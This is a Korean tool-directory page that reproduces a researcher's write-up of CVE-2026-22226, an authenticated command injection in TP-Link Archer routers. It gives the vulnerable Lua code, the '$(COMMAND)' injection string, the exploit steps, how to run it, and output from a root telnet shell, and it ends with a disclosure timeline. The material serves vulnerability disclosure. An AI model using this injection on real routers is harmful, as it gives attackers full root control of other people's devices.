Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-22226 — CVE-2026-22226에 대한 개념 증명 | Kitploit
도구/GitHubGitHub/lucasvanhaaren/cve-2026-22226
IoT SecurityVulnerability AnalysisExploitationWeb Application ExploitationWireless SecurityPenetration TestingCommand and Control
GitHublucasvanhaaren/cve-2026-22226

CVE-2026-22226

CVE-2026-22226에 대한 개념 증명

저장소 보기
11142개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
웹사이트

CVE-2026-22226

CVE-2026-22226에 대한 개념 증명

TP-Link Archer Wi-Fi 라우터 VPN 클라이언트의 인증된 LAN 측 OS 명령 삽입


취약점 개요

VPN 클라이언트 컨트롤러는 사용자가 제어하는 항목 설명(des)을 약한 검증 정규식을 사용하여 UCI 구성에 저장합니다. 나중에 항목을 다시 읽을 때(WebUI에서 편집 중), get_ovpn_data()는 des를 인용된 셸 명령에 보간하여 추가 소독 없이 os.execute()에 전달합니다:

-- get_ovpn_data() in vpn.lua

file_ovpn_path_local = string.format("/etc/openvpn/%s%s", des_name, ".ovpn")
cmd = string.format("echo '%s' > %s", file_ovpn_path_local, EXIST_OVPN_CURR_EDIT)
os.execute(cmd)

작은따옴표 문자(')는 검증 정규식을 통과하기 때문에 셸 인용을 벗어나 $() 치환을 통해 명령을 주입할 수 있습니다. des 필드를 '$(COMMAND)'로 설정하면 명령이 다음과 같이 바뀝니다:

echo '/etc/openvpn/'$(COMMAND)'.ovpn' > /tmp/ovpn_curr_edit

명령 출력은 HTTP 응답에 반환되지 않으므로 주입은 블라인드 상태입니다. 따라서 대역외 채널이 필요합니다(여기서 PoC 스크립트는 대화형 셸을 얻기 위해 telnetd 서버를 실행합니다).

개념 증명

[!Note] TP-Link Archer AX73 (AX5400, HW v2.0 EU, FW v1.2.1 - Build 20250717)에서만 테스트했지만, 다른 Archer 장치도 취약할 가능성이 높습니다.

이 PoC는 다음 과정을 따릅니다:

  • LuCI에 admin으로 인증
  • 더미 .ovpn 구성 파일 업로드
  • 오염된 des 필드로 VPN 클라이언트 항목 삽입, 작은따옴표 컨텍스트를 벗어나 명령 치환을 통해 페이로드 주입
  • 항목을 다시 읽어 get_ovpn_data() 트리거, 오염된 des가 os.execute()에 전달됨
  • 오염된 VPN 항목 정리 (이후 익스플로잇 재실행 가능)

[!Warning] 이 취약점을 악용하면 라우터에서 OS 명령을 root 권한으로 실행(전체 장치 손상)할 수 있으며, 허용된 작은따옴표 문자를 통해 des 입력 검증을 우회합니다.

사용법

Python 종속성은 스크립트에 인라인으로 선언되어 있으므로 최신 Python 프로젝트 관리자로 직접 실행하거나 pip로 수동 설치할 수 있습니다:

# pipx 사용
pipx run poc.py
# uv 사용
uv run poc.py

# pip (레거시) 사용 후 python으로 실행
pip install requests pycryptodome
python poc.py
  • poc.py에서 대상 IP, 자격 증명 및 페이로드 설정

  • 스크립트 실행:

$ pipx run poc.py
INFO:__main__:TP-Link Archer Exploit PoC
INFO:__main__:Authentication ...
INFO:__main__:Authentication ... OK
INFO:__main__:Uploading .ovpn ...
INFO:__main__:Uploading .ovpn ... OK
INFO:__main__:Inserting VPN entry ...
INFO:__main__:Inserting VPN entry ... OK
INFO:__main__:Triggering command injection ...
INFO:__main__:Triggering command injection ... OK
INFO:__main__:Cleaning up ...
INFO:__main__:Cleaning up ... OK
  • 실행된 telnetd 서버와 상호 작용:
$ telnet 192.168.0.1 1337

BusyBox v1.19.4 (2025-07-17 10:58:00 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

/www # id
uid=0(root) gid=0(root)
/www # uname -a
Linux Archer AX73 4.19.183 #1 SMP PREEMPT Thu Jul 17 10:22:47 CST 2025 armv7l GNU/Linux

타임라인

  • 2026-02-18: 취약점을 TP-Link에 보고, 상세 보고서와 개념 증명 스크립트 제공
  • 2026-03-25: TP-Link가 보고서를 접수하고 최대 90일이 소요될 수 있다고 회신
  • 2026-05-13: TP-Link가 추가 30일을 요청, 수락
  • 2026-05-16: CVE-2026-22226 할당, 며칠 전 다른 연구자가 BE230에서 보고한 동일한 버그 추적; 공개일을 2026-07-22로 설정
  • 2026-06-04: 수정된 AX73 펌웨어 출시(v1.3.1)
  • 2026-07-22: 공개 공개

참고 자료

  • CVE-2026-22226
  • TP-Link 보안 권고
도구 다운로드